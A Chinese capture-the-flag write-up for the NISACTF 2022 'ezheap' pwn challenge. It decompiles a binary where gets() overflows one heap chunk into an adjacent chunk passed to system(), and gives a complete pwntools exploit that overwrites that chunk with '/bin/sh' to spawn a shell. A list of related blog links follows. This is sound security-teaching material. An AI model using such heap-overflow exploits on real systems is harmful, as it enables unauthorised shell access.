NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备
2.ida分析
main函数
复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

这里先创建两个堆块s和command

然后在s有一个输入点,gets函数,存在堆溢出

并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容

所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接

通过gdb调试,得到偏移量

在main函数下断点,运行程序

一直运行到两个call malloc@plt后,查看堆情况

看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

复制代码
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
复制代码
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()
相关推荐
kali-Myon1 天前
快速解决 Docker 环境中无法打开 gdb 调试窗口以及 tmux 中无法滚动页面内容和无法选中复制的问题
运维·安全·docker·容器·gdb·pwn·tmux
saulgoodman-q1 天前
Pwncollege V8 Exploitation (中)
pwn·ctf
EXtreme351 天前
【数据结构】建堆操作:向上调整与向下调整的数学推导与性能对比
c语言·数据结构··时间复杂度·topk问题·算法分析
EXtreme353 天前
【数据结构】打破线性思维:树形结构与堆在C语言中的完美实现方案
c语言·数据结构·算法··heap·完全二叉树·topk
山川绿水7 天前
bugku overflow
网络安全·pwn·安全架构
saulgoodman-q11 天前
Pwncollege V8 Exploitation (上)
pwn·ctf
Hello_Embed1 个月前
FreeRTOS 入门(四):堆的核心原理
数据结构·笔记·学习·链表·freertos·
少许极端1 个月前
算法奇妙屋(十二)-优先级队列(堆)
数据结构·算法·leetcode·优先级队列··图解算法
ShineWinsu1 个月前
对于数据结构:堆的超详细保姆级解析——下(堆排序以及TOP-K问题)
c语言·数据结构·c++·算法·面试·二叉树·
Claire_ccat1 个月前
2025山西省网络安全职业技能大赛PWN方向题解
linux·安全·网络安全·pwn·栈溢出